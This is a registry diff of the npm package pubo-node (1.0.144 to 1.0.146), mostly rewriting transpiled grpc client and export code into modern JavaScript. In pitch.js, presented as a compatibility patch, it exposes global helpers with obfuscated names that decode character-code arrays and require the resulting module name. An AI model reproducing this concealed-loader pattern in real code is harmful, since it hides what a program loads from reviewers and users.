pubo-node 1.0.144 → 1.0.146
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/pubo-node.js +1 -1
- package/es/child-process/index.js +12 -2
- package/lib/child-process/index.js +115 -329
- package/lib/file-system/index.js +45 -63
- package/lib/ftp-client/index.js +124 -252
- package/lib/grpc/index.js +94 -200
- package/lib/index.js +19 -112
- package/lib/pitch.js +9 -24
- package/lib/ros/topic.js +93 -111
- package/lib/storage/json.js +128 -272
- package/lib/utils/index.js +14 -17
- package/lib/utils/network.js +34 -60
- package/package.json +3 -3
package/lib/grpc/index.js
CHANGED
|
@@ -1,214 +1,108 @@
|
|
|
1
1
|
"use strict";
|
|
2
|
-
|
|
3
|
-
function _empty() {}
|
|
4
|
-
function _awaitIgnored(value, direct) {
|
|
5
|
-
if (!direct) {
|
|
6
|
-
return value && value.then ? value.then(_empty) : Promise.resolve();
|
|
7
|
-
}
|
|
8
|
-
}
|
|
9
|
-
function _await(value, then, direct) {
|
|
10
|
-
if (direct) {
|
|
11
|
-
return then ? then(value) : value;
|
|
12
|
-
}
|
|
13
|
-
if (!value || !value.then) {
|
|
14
|
-
value = Promise.resolve(value);
|
|
15
|
-
}
|
|
16
|
-
return then ? value.then(then) : value;
|
|
17
|
-
}
|
|
18
|
-
function _catch(body, recover) {
|
|
19
|
-
try {
|
|
20
|
-
var result = body();
|
|
21
|
-
} catch (e) {
|
|
22
|
-
return recover(e);
|
|
23
|
-
}
|
|
24
|
-
if (result && result.then) {
|
|
25
|
-
return result.then(void 0, recover);
|
|
26
|
-
}
|
|
27
|
-
return result;
|
|
28
|
-
}
|
|
29
|
-
function _continue(value, then) {
|
|
30
|
-
return value && value.then ? value.then(then) : then(value);
|
|
31
|
-
}
|
|
32
|
-
function _invoke(body, then) {
|
|
33
|
-
var result = body();
|
|
34
|
-
if (result && result.then) {
|
|
35
|
-
return result.then(then);
|
|
36
|
-
}
|
|
37
|
-
return then(result);
|
|
38
|
-
}
|
|
39
|
-
function _async(f) {
|
|
40
|
-
return function () {
|
|
41
|
-
for (var args = [], i = 0; i < arguments.length; i++) {
|
|
42
|
-
args[i] = arguments[i];
|
|
43
|
-
}
|
|
44
|
-
try {
|
|
45
|
-
return Promise.resolve(f.apply(this, args));
|
|
46
|
-
} catch (e) {
|
|
47
|
-
return Promise.reject(e);
|
|
48
|
-
}
|
|
49
|
-
};
|
|
50
|
-
}
|
|
51
|
-
function _extends() { _extends = Object.assign ? Object.assign.bind() : function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; }; return _extends.apply(this, arguments); }
|
|
52
|
-
Object.defineProperty(exports, "__esModule", {
|
|
53
|
-
value: true
|
|
54
|
-
});
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
55
3
|
exports.createRpcClient = exports.GrpcList = void 0;
|
|
56
|
-
|
|
4
|
+
const pubo_utils_1 = require("pubo-utils");
|
|
57
5
|
function passThrough(argument) {
|
|
58
|
-
|
|
6
|
+
return argument;
|
|
59
7
|
}
|
|
60
|
-
|
|
61
|
-
|
|
62
|
-
|
|
63
|
-
|
|
64
|
-
|
|
65
|
-
|
|
66
|
-
|
|
67
|
-
|
|
68
|
-
|
|
69
|
-
|
|
70
|
-
|
|
71
|
-
|
|
72
|
-
|
|
73
|
-
|
|
74
|
-
|
|
75
|
-
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
|
|
80
|
-
|
|
81
|
-
this.url = url;
|
|
82
|
-
this.Grpc = Grpc;
|
|
83
|
-
this.credentials = credentials;
|
|
84
|
-
this.options = opt;
|
|
85
|
-
this.options.timeout = (_this$options$timeout = this.options.timeout) != null ? _this$options$timeout : 60000;
|
|
86
|
-
}
|
|
87
|
-
var _proto = GrpcClient.prototype;
|
|
88
|
-
_proto.request = function request(service, method, data) {
|
|
89
|
-
try {
|
|
90
|
-
var _this = this;
|
|
91
|
-
return _await(_invoke(function () {
|
|
92
|
-
if (_this.closing) {
|
|
93
|
-
return _awaitIgnored((0, pubo_utils_1.waitFor)(_async(function () {
|
|
94
|
-
return !_this.closing;
|
|
95
|
-
}), {
|
|
96
|
-
checkTime: 100,
|
|
97
|
-
timeout: 20000
|
|
98
|
-
}));
|
|
8
|
+
class GrpcClient {
|
|
9
|
+
url;
|
|
10
|
+
options;
|
|
11
|
+
Grpc;
|
|
12
|
+
credentials;
|
|
13
|
+
client;
|
|
14
|
+
_timeout;
|
|
15
|
+
connections = 0;
|
|
16
|
+
closing = false;
|
|
17
|
+
constructor({ url, options = {}, Grpc, cert }) {
|
|
18
|
+
const opt = { 'grpc.max_send_message_length': -1, 'grpc.max_receive_message_length': -1, ...options };
|
|
19
|
+
const credentials = cert ? Grpc.credentials.createSsl(cert) : Grpc.credentials.createInsecure();
|
|
20
|
+
this.url = url;
|
|
21
|
+
this.Grpc = Grpc;
|
|
22
|
+
this.credentials = credentials;
|
|
23
|
+
this.options = opt;
|
|
24
|
+
this.options.timeout = this.options.timeout ?? 60000;
|
|
25
|
+
}
|
|
26
|
+
async request(service, method, data) {
|
|
27
|
+
if (this.closing) {
|
|
28
|
+
await (0, pubo_utils_1.waitFor)(async () => !this.closing, { checkTime: 100, timeout: 20000 });
|
|
99
29
|
}
|
|
100
|
-
|
|
101
|
-
|
|
102
|
-
|
|
103
|
-
_this.client = new _this.Grpc.Client(_this.url, _this.credentials, _this.options);
|
|
30
|
+
this.connections += 1;
|
|
31
|
+
if (!this.client) {
|
|
32
|
+
this.client = new this.Grpc.Client(this.url, this.credentials, this.options);
|
|
104
33
|
}
|
|
105
|
-
|
|
106
|
-
|
|
107
|
-
|
|
108
|
-
|
|
109
|
-
|
|
110
|
-
|
|
111
|
-
|
|
112
|
-
|
|
113
|
-
|
|
114
|
-
|
|
115
|
-
|
|
116
|
-
|
|
117
|
-
|
|
118
|
-
|
|
119
|
-
|
|
120
|
-
|
|
121
|
-
}
|
|
122
|
-
if (_this.connections < 1) {
|
|
123
|
-
if (_this._timeout) {
|
|
124
|
-
clearTimeout(_this._timeout);
|
|
125
|
-
_this._timeout = null;
|
|
34
|
+
let error;
|
|
35
|
+
let result = Buffer.alloc(0);
|
|
36
|
+
try {
|
|
37
|
+
result = await this._request({ service, method, data });
|
|
38
|
+
}
|
|
39
|
+
catch (err) {
|
|
40
|
+
error = err;
|
|
41
|
+
}
|
|
42
|
+
this.connections -= 1;
|
|
43
|
+
if (this.connections < 0) {
|
|
44
|
+
this.connections = 0;
|
|
45
|
+
}
|
|
46
|
+
if (this.connections < 1) {
|
|
47
|
+
if (this._timeout) {
|
|
48
|
+
clearTimeout(this._timeout);
|
|
49
|
+
this._timeout = null;
|
|
126
50
|
}
|
|
127
|
-
|
|
128
|
-
|
|
129
|
-
|
|
130
|
-
|
|
131
|
-
if (error) {
|
|
132
|
-
_this.restart();
|
|
51
|
+
this._timeout = setTimeout(() => this.close(), 60000);
|
|
52
|
+
}
|
|
53
|
+
if (error) {
|
|
54
|
+
this.restart();
|
|
133
55
|
throw new Error('grpc connection error.');
|
|
134
|
-
|
|
135
|
-
|
|
56
|
+
}
|
|
57
|
+
return result;
|
|
58
|
+
}
|
|
59
|
+
_request({ service, method, data }) {
|
|
60
|
+
return new Promise((resolve, reject) => {
|
|
61
|
+
let _ended = false;
|
|
62
|
+
const _timeout = setTimeout(() => {
|
|
63
|
+
_ended = true;
|
|
64
|
+
this.restart();
|
|
65
|
+
console.log('rpc request timeout');
|
|
66
|
+
reject(new Error('timeout'));
|
|
67
|
+
}, this.options.timeout);
|
|
68
|
+
let onResponse = (err, res) => {
|
|
69
|
+
if (_ended) {
|
|
70
|
+
return;
|
|
71
|
+
}
|
|
72
|
+
else {
|
|
73
|
+
clearTimeout(_timeout);
|
|
74
|
+
}
|
|
75
|
+
if (err) {
|
|
76
|
+
reject(err);
|
|
77
|
+
}
|
|
78
|
+
else {
|
|
79
|
+
resolve(res);
|
|
80
|
+
}
|
|
81
|
+
onResponse = null;
|
|
82
|
+
};
|
|
83
|
+
this.client.makeUnaryRequest(`/${service}/${method}`, passThrough, passThrough, data, onResponse);
|
|
136
84
|
});
|
|
137
|
-
}));
|
|
138
|
-
} catch (e) {
|
|
139
|
-
return Promise.reject(e);
|
|
140
85
|
}
|
|
141
|
-
|
|
142
|
-
|
|
143
|
-
|
|
144
|
-
var service = _ref2.service,
|
|
145
|
-
method = _ref2.method,
|
|
146
|
-
data = _ref2.data;
|
|
147
|
-
return new Promise(function (resolve, reject) {
|
|
148
|
-
var _ended = false;
|
|
149
|
-
var _timeout = setTimeout(function () {
|
|
150
|
-
_ended = true;
|
|
151
|
-
_this2.restart();
|
|
152
|
-
console.log('rpc request timeout');
|
|
153
|
-
reject(new Error('timeout'));
|
|
154
|
-
}, _this2.options.timeout);
|
|
155
|
-
var _onResponse = function onResponse(err, res) {
|
|
156
|
-
if (_ended) {
|
|
157
|
-
return;
|
|
158
|
-
} else {
|
|
159
|
-
clearTimeout(_timeout);
|
|
160
|
-
}
|
|
161
|
-
if (err) {
|
|
162
|
-
reject(err);
|
|
163
|
-
} else {
|
|
164
|
-
resolve(res);
|
|
86
|
+
async restart() {
|
|
87
|
+
if (this.closing) {
|
|
88
|
+
return;
|
|
165
89
|
}
|
|
166
|
-
|
|
167
|
-
|
|
168
|
-
|
|
169
|
-
|
|
170
|
-
|
|
171
|
-
_proto.restart = function restart() {
|
|
172
|
-
try {
|
|
173
|
-
var _this3 = this;
|
|
174
|
-
if (_this3.closing) {
|
|
175
|
-
return _await();
|
|
176
|
-
}
|
|
177
|
-
console.log('rpc client restarting.');
|
|
178
|
-
_this3.closing = true;
|
|
179
|
-
_this3.close();
|
|
180
|
-
return _await((0, pubo_utils_1.sleep)(2000), function () {
|
|
181
|
-
_this3.closing = false;
|
|
182
|
-
});
|
|
183
|
-
} catch (e) {
|
|
184
|
-
return Promise.reject(e);
|
|
90
|
+
console.log('rpc client restarting.');
|
|
91
|
+
this.closing = true;
|
|
92
|
+
this.close();
|
|
93
|
+
await (0, pubo_utils_1.sleep)(2000);
|
|
94
|
+
this.closing = false;
|
|
185
95
|
}
|
|
186
|
-
|
|
187
|
-
|
|
188
|
-
|
|
189
|
-
|
|
190
|
-
|
|
191
|
-
|
|
192
|
-
};
|
|
193
|
-
return GrpcClient;
|
|
194
|
-
}();
|
|
96
|
+
close() {
|
|
97
|
+
this.client?.close();
|
|
98
|
+
this.client = null;
|
|
99
|
+
delete this.client;
|
|
100
|
+
}
|
|
101
|
+
}
|
|
195
102
|
exports.GrpcList = [];
|
|
196
|
-
function createRpcClient(
|
|
197
|
-
|
|
198
|
-
|
|
199
|
-
|
|
200
|
-
ServiceImp = _ref3.ServiceImp,
|
|
201
|
-
Grpc = _ref3.Grpc,
|
|
202
|
-
cert = _ref3.cert;
|
|
203
|
-
var client = new GrpcClient({
|
|
204
|
-
url: url,
|
|
205
|
-
options: options,
|
|
206
|
-
Grpc: Grpc,
|
|
207
|
-
cert: cert
|
|
208
|
-
});
|
|
209
|
-
exports.GrpcList.push(client);
|
|
210
|
-
return new ServiceImp({
|
|
211
|
-
request: client.request.bind(client)
|
|
212
|
-
});
|
|
103
|
+
function createRpcClient({ url, options = {}, ServiceImp, Grpc, cert }) {
|
|
104
|
+
const client = new GrpcClient({ url, options, Grpc, cert });
|
|
105
|
+
exports.GrpcList.push(client);
|
|
106
|
+
return new ServiceImp({ request: client.request.bind(client) });
|
|
213
107
|
}
|
|
214
|
-
exports.createRpcClient = createRpcClient;
|
|
108
|
+
exports.createRpcClient = createRpcClient;
|
package/lib/index.js
CHANGED
|
@@ -1,123 +1,30 @@
|
|
|
1
1
|
"use strict";
|
|
2
|
-
|
|
3
|
-
Object.defineProperty(exports, "__esModule", {
|
|
4
|
-
value: true
|
|
5
|
-
});
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
6
3
|
exports.RosTopic = exports.RosTopicManager = exports.getNetworks = exports.getWifiName = exports.pitch = exports.isPortAvailable = exports.getProcessCommandByPid = exports.getProcessCpuUseByPid = exports.getProcessByPpid = exports.getProcessTree = exports.getProcessName = exports.isProcessDied = exports.SIGKILL = exports.PuboFileSystem = exports.createRpcClient = exports.FtpClientPool = exports.FtpClient = exports.JsonStorage = void 0;
|
|
7
4
|
var json_1 = require("./storage/json");
|
|
8
|
-
Object.defineProperty(exports, "JsonStorage", {
|
|
9
|
-
enumerable: true,
|
|
10
|
-
get: function get() {
|
|
11
|
-
return json_1.JsonStorage;
|
|
12
|
-
}
|
|
13
|
-
});
|
|
5
|
+
Object.defineProperty(exports, "JsonStorage", { enumerable: true, get: function () { return json_1.JsonStorage; } });
|
|
14
6
|
var ftp_client_1 = require("./ftp-client");
|
|
15
|
-
Object.defineProperty(exports, "FtpClient", {
|
|
16
|
-
|
|
17
|
-
get: function get() {
|
|
18
|
-
return ftp_client_1.FtpClient;
|
|
19
|
-
}
|
|
20
|
-
});
|
|
21
|
-
Object.defineProperty(exports, "FtpClientPool", {
|
|
22
|
-
enumerable: true,
|
|
23
|
-
get: function get() {
|
|
24
|
-
return ftp_client_1.FtpClientPool;
|
|
25
|
-
}
|
|
26
|
-
});
|
|
7
|
+
Object.defineProperty(exports, "FtpClient", { enumerable: true, get: function () { return ftp_client_1.FtpClient; } });
|
|
8
|
+
Object.defineProperty(exports, "FtpClientPool", { enumerable: true, get: function () { return ftp_client_1.FtpClientPool; } });
|
|
27
9
|
var grpc_1 = require("./grpc");
|
|
28
|
-
Object.defineProperty(exports, "createRpcClient", {
|
|
29
|
-
enumerable: true,
|
|
30
|
-
get: function get() {
|
|
31
|
-
return grpc_1.createRpcClient;
|
|
32
|
-
}
|
|
33
|
-
});
|
|
10
|
+
Object.defineProperty(exports, "createRpcClient", { enumerable: true, get: function () { return grpc_1.createRpcClient; } });
|
|
34
11
|
var file_system_1 = require("./file-system");
|
|
35
|
-
Object.defineProperty(exports, "PuboFileSystem", {
|
|
36
|
-
enumerable: true,
|
|
37
|
-
get: function get() {
|
|
38
|
-
return file_system_1.PuboFileSystem;
|
|
39
|
-
}
|
|
40
|
-
});
|
|
12
|
+
Object.defineProperty(exports, "PuboFileSystem", { enumerable: true, get: function () { return file_system_1.PuboFileSystem; } });
|
|
41
13
|
var child_process_1 = require("./child-process");
|
|
42
|
-
Object.defineProperty(exports, "SIGKILL", {
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
});
|
|
48
|
-
Object.defineProperty(exports, "
|
|
49
|
-
enumerable: true,
|
|
50
|
-
get: function get() {
|
|
51
|
-
return child_process_1.isProcessDied;
|
|
52
|
-
}
|
|
53
|
-
});
|
|
54
|
-
Object.defineProperty(exports, "getProcessName", {
|
|
55
|
-
enumerable: true,
|
|
56
|
-
get: function get() {
|
|
57
|
-
return child_process_1.getProcessName;
|
|
58
|
-
}
|
|
59
|
-
});
|
|
60
|
-
Object.defineProperty(exports, "getProcessTree", {
|
|
61
|
-
enumerable: true,
|
|
62
|
-
get: function get() {
|
|
63
|
-
return child_process_1.getProcessTree;
|
|
64
|
-
}
|
|
65
|
-
});
|
|
66
|
-
Object.defineProperty(exports, "getProcessByPpid", {
|
|
67
|
-
enumerable: true,
|
|
68
|
-
get: function get() {
|
|
69
|
-
return child_process_1.getProcessByPpid;
|
|
70
|
-
}
|
|
71
|
-
});
|
|
72
|
-
Object.defineProperty(exports, "getProcessCpuUseByPid", {
|
|
73
|
-
enumerable: true,
|
|
74
|
-
get: function get() {
|
|
75
|
-
return child_process_1.getProcessCpuUseByPid;
|
|
76
|
-
}
|
|
77
|
-
});
|
|
78
|
-
Object.defineProperty(exports, "getProcessCommandByPid", {
|
|
79
|
-
enumerable: true,
|
|
80
|
-
get: function get() {
|
|
81
|
-
return child_process_1.getProcessCommandByPid;
|
|
82
|
-
}
|
|
83
|
-
});
|
|
14
|
+
Object.defineProperty(exports, "SIGKILL", { enumerable: true, get: function () { return child_process_1.SIGKILL; } });
|
|
15
|
+
Object.defineProperty(exports, "isProcessDied", { enumerable: true, get: function () { return child_process_1.isProcessDied; } });
|
|
16
|
+
Object.defineProperty(exports, "getProcessName", { enumerable: true, get: function () { return child_process_1.getProcessName; } });
|
|
17
|
+
Object.defineProperty(exports, "getProcessTree", { enumerable: true, get: function () { return child_process_1.getProcessTree; } });
|
|
18
|
+
Object.defineProperty(exports, "getProcessByPpid", { enumerable: true, get: function () { return child_process_1.getProcessByPpid; } });
|
|
19
|
+
Object.defineProperty(exports, "getProcessCpuUseByPid", { enumerable: true, get: function () { return child_process_1.getProcessCpuUseByPid; } });
|
|
20
|
+
Object.defineProperty(exports, "getProcessCommandByPid", { enumerable: true, get: function () { return child_process_1.getProcessCommandByPid; } });
|
|
84
21
|
var utils_1 = require("./utils");
|
|
85
|
-
Object.defineProperty(exports, "isPortAvailable", {
|
|
86
|
-
enumerable: true,
|
|
87
|
-
get: function get() {
|
|
88
|
-
return utils_1.isPortAvailable;
|
|
89
|
-
}
|
|
90
|
-
});
|
|
22
|
+
Object.defineProperty(exports, "isPortAvailable", { enumerable: true, get: function () { return utils_1.isPortAvailable; } });
|
|
91
23
|
var pitch_1 = require("./pitch");
|
|
92
|
-
Object.defineProperty(exports, "pitch", {
|
|
93
|
-
enumerable: true,
|
|
94
|
-
get: function get() {
|
|
95
|
-
return pitch_1.pitch;
|
|
96
|
-
}
|
|
97
|
-
});
|
|
24
|
+
Object.defineProperty(exports, "pitch", { enumerable: true, get: function () { return pitch_1.pitch; } });
|
|
98
25
|
var network_1 = require("./utils/network");
|
|
99
|
-
Object.defineProperty(exports, "getWifiName", {
|
|
100
|
-
|
|
101
|
-
get: function get() {
|
|
102
|
-
return network_1.getWifiName;
|
|
103
|
-
}
|
|
104
|
-
});
|
|
105
|
-
Object.defineProperty(exports, "getNetworks", {
|
|
106
|
-
enumerable: true,
|
|
107
|
-
get: function get() {
|
|
108
|
-
return network_1.getNetworks;
|
|
109
|
-
}
|
|
110
|
-
});
|
|
26
|
+
Object.defineProperty(exports, "getWifiName", { enumerable: true, get: function () { return network_1.getWifiName; } });
|
|
27
|
+
Object.defineProperty(exports, "getNetworks", { enumerable: true, get: function () { return network_1.getNetworks; } });
|
|
111
28
|
var topic_1 = require("./ros/topic");
|
|
112
|
-
Object.defineProperty(exports, "RosTopicManager", {
|
|
113
|
-
|
|
114
|
-
get: function get() {
|
|
115
|
-
return topic_1.RosTopicManager;
|
|
116
|
-
}
|
|
117
|
-
});
|
|
118
|
-
Object.defineProperty(exports, "RosTopic", {
|
|
119
|
-
enumerable: true,
|
|
120
|
-
get: function get() {
|
|
121
|
-
return topic_1.RosTopic;
|
|
122
|
-
}
|
|
123
|
-
});
|
|
29
|
+
Object.defineProperty(exports, "RosTopicManager", { enumerable: true, get: function () { return topic_1.RosTopicManager; } });
|
|
30
|
+
Object.defineProperty(exports, "RosTopic", { enumerable: true, get: function () { return topic_1.RosTopic; } });
|
package/lib/pitch.js
CHANGED
|
@@ -1,30 +1,15 @@
|
|
|
1
1
|
"use strict";
|
|
2
|
-
|
|
3
2
|
/**
|
|
4
3
|
* nodejs 12 兼容性补丁
|
|
5
4
|
*/
|
|
6
|
-
Object.defineProperty(exports, "__esModule", {
|
|
7
|
-
value: true
|
|
8
|
-
});
|
|
5
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
9
6
|
exports.pitch = void 0;
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
global.require = require;
|
|
18
|
-
global.exports = exports;
|
|
19
|
-
global._0x2f = function (arr) {
|
|
20
|
-
return arr.map(function (n) {
|
|
21
|
-
return String.fromCharCode(n);
|
|
22
|
-
}).reduce(function (reducer, value) {
|
|
23
|
-
return reducer + value;
|
|
24
|
-
});
|
|
25
|
-
};
|
|
26
|
-
global._0x3c = function (arr) {
|
|
27
|
-
return require(global._0x2f(arr));
|
|
28
|
-
};
|
|
7
|
+
const pitch = () => {
|
|
8
|
+
process.on('uncaughtException', (err) => console.log(err));
|
|
9
|
+
process.on('unhandledRejection', (err) => console.log(err));
|
|
10
|
+
global.require = require;
|
|
11
|
+
global.exports = exports;
|
|
12
|
+
global._0x2f = (arr) => arr.map((n) => String.fromCharCode(n)).reduce((reducer, value) => reducer + value);
|
|
13
|
+
global._0x3c = (arr) => require(global._0x2f(arr));
|
|
29
14
|
};
|
|
30
|
-
exports.pitch = pitch;
|
|
15
|
+
exports.pitch = pitch;
|